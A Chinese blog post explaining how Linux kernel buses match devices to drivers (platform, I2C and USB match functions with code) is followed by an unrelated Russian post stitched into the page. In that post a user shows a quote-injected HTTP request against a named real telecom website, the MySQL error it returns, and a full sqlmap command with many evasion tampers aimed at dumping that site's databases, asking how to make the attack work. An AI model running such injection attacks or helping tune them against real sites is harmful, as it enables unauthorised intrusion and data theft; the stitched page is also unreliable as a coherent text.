linux platform match

本文详细解析了Linux系统中不同总线(如平台总线、I2C总线、USB总线)上的设备与驱动之间的匹配机制,包括of_device_id、platform_device_id等数据结构的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

当向linux系统总线添加设备或驱动时,总是会调用各总线对应的match匹配函数来判断驱动和设备是否匹配,这些match函数之间都存在一定的差异,本文先对常用的match匹配函数进行讲解,以后会陆续添加新的内容。 

一. 驱动和设备匹配过程常用数据结构

1. of_device_id

struct of_device_id
{
charname[32];
char type[32];
char compatible[128];
#ifdef __KERNEL__
void*data;
#else
kernel_ulong_t data;
#endif

};

2. platform_device_id

struct platform_device_id {

char name[PLATFORM_NAME_SIZE];

kernel_ulong_t driver_data   __attribute__((aligned(sizeof(kernel_ulong_t))));

};

二. 平台设备、驱动匹配platform_match

          向系统添加平台驱动或添加设备时会调用平台总线platform_bus_type中的platform_match函数来匹配平台驱动和平台设备。

static int platform_match(struct device *dev, struct device_driver *drv)
{

struct platform_device *pdev = to_platform_device(dev);

struct platform_driver *pdrv = to_platform_driver(drv);

if (pdrv->id_table)

return platform_match_id(pdrv->id_table, pdev) != NULL;

return (strcmp(pdev->name, drv->name) == 0);

}

           由platform_match可以看出,驱动和设备是否匹配可以通过三种方式来进行判断,首先是通过of_device_id结构:

static inline int of_driver_match_device(struct device *dev, const struct device_driver *drv)
{

return of_match_device(drv->of_match_table, dev) != NULL;

}

struct of_device_id *of_match_device(const struct of_device_id *matches, const struct device *dev)
{

if ((!matches) || (!dev->of_node))

return NULL;

return of_match_node(matches, dev->of_node);

}

const struct of_device_id *of_match_node(const struct of_device_id *matches, const struct device_node *node)

{

if (!matches)

return NULL;

while (matches->name[0] || matches->type[0] || matches->compatible[0]) {

int match = 1;
if (matches->name[0])
match &= node->name && !strcmp(matches->name, node->name);
if (matches->type[0])
match &= node->type && !strcmp(matches->type, node->type);
if (matches->compatible[0])
match &= of_device_is_compatible(node, matches->compatible);
if (match)
return matches;

matches++;

}

return NULL;

}

         如果driver中定义了of_device_id,则通过driver中的of_device_id和device中的device_node内 容进行匹配判断,匹配工作由of_match_node来完成,该函数会遍历of_device_id列表,查找是否有成员与device_node相匹 配,具体由matches的name,type和compatioble来进行对比,如果找到则返回相应的表项,否则返回null.如果没有定义 of_device_id,device_node或不能找到对应的匹配项,则通过第二种方式platform_device_id来进行对比匹配,通过 platform_match_id来完成:

static const struct platform_device_id *platform_match_id( const struct platform_device_id *id, struct platform_device *pdev)
{

while (id->name[0]) {

if (strcmp(pdev->name, id->name) == 0) {

pdev->id_entry = id;
return id;

}

id++;

}

return NULL;

}

        platform_match_id函数遍历platfrom_device_id列表,通过比对平台设备与id的name来确定是否有匹配项,如果找到 匹配的,则返回对应的id项,否则返回null。如果没有定义platform_device_id或没有找到匹配项,则通过第三种方式进行匹配,第三种 方式通过比对平台设备和平台驱动的名字,如果相等,则匹配成功,否则失败。

三. i2c设备、驱动匹配i2c_device_match

         当向i2c总线添加驱动或设备时会调用i2c_device_match来进行匹配判断,i2c_device_match函数定义如下所示:

static int i2c_device_match(struct device *dev, struct device_driver *drv)

{

struct i2c_client*client = i2c_verify_client(dev);

struct i2c_driver * driver;

if (!client)

return 0;

if (of_driver_match_device(dev, drv))

return 1;

driver = to_i2c_driver(drv);

if (driver->id_table)

return i2c_match_id(driver->id_table, client) != NULL;

return 0;

}

如i2c_device_match所示,i2c通过两种方式进行匹配设备和驱动,一种是of_device_id,另一种是 i2c_device_id,i2c_device_id数据结构和platform_device_id一样。I2C里的两种匹配方式和之前的 platform判断方式都是一样,这里就不展开。

四. usb设备、驱动匹配usb_device_match

当向usb总线上注册驱动或添加设备时,就会调用usb_match_device进行驱动和设备配对,函数如下:

static int usb_device_match(struct device *dev, struct device_driver *drv)

{

if (is_usb_device(dev)) {

if (!is_usb_device_driver(drv))

return 0;

return 1;

} else if (is_usb_interface(dev)) {

struct usb_interface *intf;

struct usb_driver *usb_drv;

const struct usb_device_id *id;

if (is_usb_device_driver(drv))

return 0;

intf = to_usb_interface(dev);

usb_drv = to_usb_driver(drv);

id = usb_match_id(intf, usb_drv->id_table);

if (id)

return 1;

id = usb_match_dynamic_id(intf, usb_drv);

if (id)

return 1;

}

return 0;

}

        从函数可以看出,match分成两部分,一部分用于匹配usb设备,另一部分用于匹配usb 接口,对于usb设备,在初始化时会设置成usb_device_type,而usb接口,则会设成usb_if_device_type。而函数中的 is_usb_device和is_usb_interface就是通过这两个属性来判别的,如果为判定为设备,则进入到设备分支,否则进入到接口分支继 续判断。

        usb设备驱动通过usb_register_device_driver接口来注册到系统,而usb接口驱动则通过usb_register来注册到系 统,驱动工程师的工作基本上集中在接口驱动上,所以通常是通过usb_register来注册usb驱动的。 

        不管是设备驱动usb_device_driver,还是接口驱动usb_driver数据结构中都包含了struct usbdrv_wrap项,其定义如下:

struct usbdrv_wrap {

struct device_driver driver;

int for_devices;

}

         数据结构中的for_devices用来表示该驱动是设备驱动还是接口驱动,如果为设备驱动,则在用usb_register_device_driver注册时,会将该变量for_devices设置成1,而接口驱动则设为0.

        usb_device_match中的is_usb_device_driver函数就是通过获取上而结构中的for_devices来进行判断是设备还是接口驱动的,函数定义如下:

static inline int is_usb_device_driver(struct device_driver *drv)

{

return container_of(drv, struct usbdrv_wrap, driver)->for_devices;

}

        当进入is_usb_device分支后,再通过is_usb_device_driver来判断是否为设备驱动,如果是则返回1,表示匹配成功,它接受所有usb设备。

        当进入到接口分支后,也会先用is_usb_device_driver来进行判断,如果不是设备驱动则继续判断,否则退出;然后再通过 usb_match_id函数来判断设备和驱动中的usb_device_id是否匹配,usb_match_id定义如下:

const struct usb_device_id *usb_match_id(struct usb_interface *interface,  const struct usb_device_id *id)
{

if (id == NULL)

return NULL;

for (; id->idVendor || id->idProduct || id->bDeviceClass ||  id->bInterfaceClass || id->driver_info; id++) {

if (usb_match_one_id(interface, id))

return id;

}

return NULL;

}

         遍历接口驱动中的usb_device_id列表项,只要usb_device_id结构中的 idVendor,idProduct,DeviceClass,binterfaceClass,driver_info项有效就调用 usb_match_one_id进行判断,如找到匹配项则函数返回1,否则返回0 。

int usb_match_one_id(struct usb_interface *interface,const struct usb_device_id *id)
{

struct usb_host_interface *intf;

struct usb_device *dev;

if (id == NULL)

return 0;

intf = interface->cur_altsetting;

dev = interface_to_usbdev(interface);

if (!usb_match_device(dev, id))

return 0;

if (dev->descriptor.bDeviceClass == USB_CLASS_VENDOR_SPEC && 
 !(id->match_flags & USB_DEVICE_ID_MATCH_VENDOR) &&

(id->match_flags & (USB_DEVICE_ID_MATCH_INT_CLASS | USB_DEVICE_ID_MATCH_INT_SUBCLASS | USB_DEVICE_ID_MATCH_INT_PROTOCOL)))

return 0;

if ((id->match_flags & USB_DEVICE_ID_MATCH_INT_CLASS) &&

 (id->bInterfaceClass != intf->desc.bInterfaceClass))

return 0;

if ((id->match_flags & USB_DEVICE_ID_MATCH_INT_SUBCLASS) && 

(id->bInterfaceSubClass != intf->desc.bInterfaceSubClass))

return 0;

if ((id->match_flags & USB_DEVICE_ID_MATCH_INT_PROTOCOL) && 

 (id->bInterfaceProtocol != intf->desc.bInterfaceProtocol))

return 0;

return 1;

}

usb_match_one_id和函数中的usb_match_device都是围绕着usb_device_id进行匹配的,该结构定义如下:

struct usb_device_id {

__u16 match_flags;

__u16 idVendor;

__u16 idProduct;

__u16 bcdDevice_lo;

__u16 bcdDevice_hi;

__u8 bDeviceClass;

__u8 bDeviceSubClass;

__u8 bDeviceProtocol;

__u8 bInterfaceClass;

__u8 bInterfaceSubClass;

__u8 bInterfaceProtocol;

kernel_ulong_tdriver_info;

};

          match_flags用来规定驱动匹配时的具体项,如match_flags包含USB_DEVICE_ID_MATCH_VENDOR,则是通过驱动中的usb_device_id和设备dev中的idVendor来判断。

репорт: GET /ua/site/domains.php/1' HTTP/1.1 Host: www.skylinetele.com Accept-Encoding: gzip, deflate, br Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: __utma=28549694.77068547.1755355595.1755355595.1755355595.1; __utmc=28549694; __utmz=28549694.1755355595.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmb=28549694.1.10.1755355595 Upgrade-Insecure-Requests: 1 Referer: https://www.skylinetele.com/ Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138" Sec-CH-UA-Platform: "Windows" Sec-CH-UA-Mobile: ?0 Content-Length: 0 а вот ответ : HTTP/1.1 200 OK Date: Sat, 16 Aug 2025 14:47:56 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.6.40-1~dotdeb+7.1 Vary: Accept-Encoding Content-Length: 7179 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="copyright" content="© Skyline telecom 2012"> <meta name="keywords" content="интернет, телефония, хостинг, одесса, sip, сервера, передача данных"> <title>Скайлайн Телеком</title> <link rel="shortcut icon" href="https://skylinetele.com/favicon.ico"> <link rel="stylesheet" href="/styles.css" type="text/css"> <script src="/ckeditor/ckeditor.js"></script> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $('.spoiler_links').click(function(){ $(this).parent().children('div.spoiler_body').toggle('normal'); return false; }); }); </script> </head> <body bgcolor=#ffffff text=#000000 link=#000000 vlink=#000000 alink=#000000 leftmargin=15 topmargin=15 marginheight=15 marginwidth=15> <map name="hm"> <area shape="rect" coords="1,1,26,23" href="https://www.skylinetele.com" alt="Home" title="На головну"> <area shape="rect" coords="32,1,58,23" href="mailto:support@skylinetele.com" alt="Mail" title="Написати лист"> </map> <table align=left border=0 cellspacing=0 cellpadding=3 width=970 height=100% bgcolor=#ffffff id=ten> <tr> <td colspan=2 align=left valign=center height=120> <div style="float: right;"><b> <a href="https://skylinetele.com/ua" title="ua"><font color=#FF6600>ua</font></a> <font color=#FF6600>&nbsp|&nbsp</font> <a href="https://skylinetele.com/ru" title="ru"><font color=#FF6600>ru</font></a> &nbsp&nbsp&nbsp&nbsp <a href="https://stat.skylinetele.com" title="Для зареєстрованих користувачів"><font color=#FF6600>Вхід ↵</font></a></b>&nbsp</div> <div style="float: left;">&nbsp<img src="/img/hm.png" border="0" usemap="#hm"></div> <div style="float: left; width: 100%;"> <object type="application/x-shockwave-flash" data="https://skylinetele.com/img/logo.swf" width="400" height="74"> <param name="movie" value="https://skylinetele.com/img/logo.swf" /> <param name="menu" value="false" /> <img src="/img/st-logo-hor-eng-small.jpg" width="400" height="74" alt="Скайлайн Телеком" /> </object> </div> <div style="clear: both"></div> </td> </tr> <tr> <td width=200 valign=top> <table bgcolor="#FF6600" border="0" cellpadding="2" cellspacing="1" style="width:100%"> <tbody> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/">Новини</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/contract.html">Умови обслуговування</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/services.shtml">Інтернет та передача даних</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/ll_tarif.shtml">Виділені лінії</a><br /> <a href="/ua/site/transport.shtml">Передача даних</a><br /> <a href="/ua/site/wifi.shtml">Бездротовий зв'язок</a><br /> <a href="/ua/site/tarif.shtml">Додаткові послуги</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/tele1.shtml">Телефонія </a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/virtual_attendant.shtml"><span style="color:#F00E0E">Віртуальний секретар</span></a><br /> <a href="/ua/site/dostupniy-mir.shtml">Послуга "Доступний Світ"</a><br /> <a href="/ua/site/tele2.shtml">PRI-потік</a><br /> <a href="/ua/site/tele3.shtml">SIP</a><br /> <a href="/ua/site/tele4.shtml">Традиційна телефонія</a><br /> <a href="/ua/site/state.shtml">Як дізнатися про стан рахунку</a><br /> <!--<a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a><br />--> <a href="https://stat.skylinetele.com/bin/phcard" target="_blank"><strong>Поповнення рахунку</strong></a><br /> <a href="https://stat.skylinetele.com" target="_blank">Вхід для абонентів</a><br /> <a href="https://skylinetele.com/ua/site/quality-of-telecommunication-services.shtml">Якість телекомунікаційних послуг</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="https://skylinetele.com/ua/site/hosting.shtml">Хостинг та доменні імена</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://www.host24.ua/hosting" target="_blank">Віртуальний хостинг</a><br /> <a href="https://www.host24.ua/colocation" target="_blank">Розміщення серверів</a><br /> <a href="/ua/site/domains.php">Реєстрація доменів</a><br /> <a href="/ua/site/document.php">Документація</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/users.shtml">Користувачі</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://stat.skylinetele.com" target="_blank">Вхід для користувачів</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/help.shtml">Допомога</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/faq.shtml">Відповіді на запитання</a><br /> <a href="/ua/site/cards.shtml">Картки SkyCard</a><br /> <a href="/ua/site/shops.shtml">Де придбати картки</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/requisites.shtml">Контакти та реквізити</a></strong></td> </tr> </tbody> </table> <table width="100%"> <tbody> <tr> <td align="center" width="50%"><img alt="Mastercard" border="0" hspace="5" src="/img/mastercard.svg" vspace="5" width="50" /></td> <td align="center" width="50%"><img alt="Visa" border="0" hspace="5" src="/img/visa.svg" vspace="5" width="50" /></td> </tr> </tbody> </table> <table style="width:100%"> <tbody> <tr> <td colspan="2">ТОВ "Компанія "Скайлайн Телеком"</td> </tr> <tr> <td colspan="2">E-mail: <a href="mailto:support@skylinetele.com">support@skylinetele.com</a></td> </tr> <tr> <td colspan="2">телефон: +380 48 7972115</td> </tr> <tr> <td colspan="2">факс: +380 48 7972115</td> </tr> </tbody> </table> <p> </p> </td> <td valign=top width=770> <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#FF6600 id=ten> Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 Я попробовал sqlmap : sqlmap -u "https://www.skylinetele.com/ua/site/domains.php?url=*" --random-agent --level=5 --risk=3 --tamper=space2comment,apostrophemask,between,randomcase,if2case,modsecurityversioned,space2randomblank,space2plus,versionedkeywords,charencode,equaltolike,charunicodeencode --dbms=mysql --technique=BEUST --time-sec=5 --delay=2 --batch -v 3 --ignore-code=403,404,400 --string="Скайлайн Телеком" --code=301 --dbs --force-ssl --no-cast --skip=Host,Referer и вот итог : [20:31:07] [WARNING] URI parameter '#1*' does not seem to be injectable [20:31:07] [CRITICAL] all tested parameters do not appear to be injectable. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have chosen does not match exclusively True responses. Где я допустил ошибку?
最新发布
08-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值